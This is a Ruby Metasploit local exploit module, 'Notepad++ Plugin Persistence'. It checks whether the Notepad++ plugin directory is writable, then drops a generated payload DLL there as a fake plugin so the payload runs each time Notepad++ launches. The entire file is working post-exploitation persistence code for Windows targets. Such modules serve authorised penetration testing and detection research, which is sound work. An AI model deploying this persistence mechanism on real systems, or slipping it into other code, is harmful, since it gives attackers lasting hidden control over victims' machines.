Notepad++ Plugin Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Notepad++ Plugin Persistence',
        'Description' => %q{
          This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'msutovsky-r7' ],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++
        'DefaultTarget' => 0,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence']
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
      ]
    )
  end

  def get_plugin_dir
    expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\')
  end

  def check
    @plugin_dir = get_plugin_dir
    return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir)

    # borrowed from startup folder persistence
    begin
      # windows only ps payloads have writable? so try that first
      return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir)
    rescue RuntimeError
      filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
      write_file(filename, '')
      if exists? filename
        rm_f(filename)
      else
        return CheckCode::Safe("Unable to write to #{@plugin_dir}")
      end
    end

    CheckCode::Vulnerable('Notepad++ present and plugin folder is writable')
  end

  def install_persistence
    @plugin_dir ||= get_plugin_dir

    payload_name = CGI.escape(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))))
    payload_pathname = @plugin_dir + payload_name + '\\'
    payload_exe = generate_payload_dll({ dll_exitprocess: true })
    fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") unless sysinfo['Architecture'] == payload_instance.arch.first
    vprint_good("Writing payload to #{payload_pathname}")
    if session.type == 'meterpreter'
      fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
    else
      fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless mkdir(payload_pathname, cleanup: false)
    end

    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)

    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
    @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
  end
end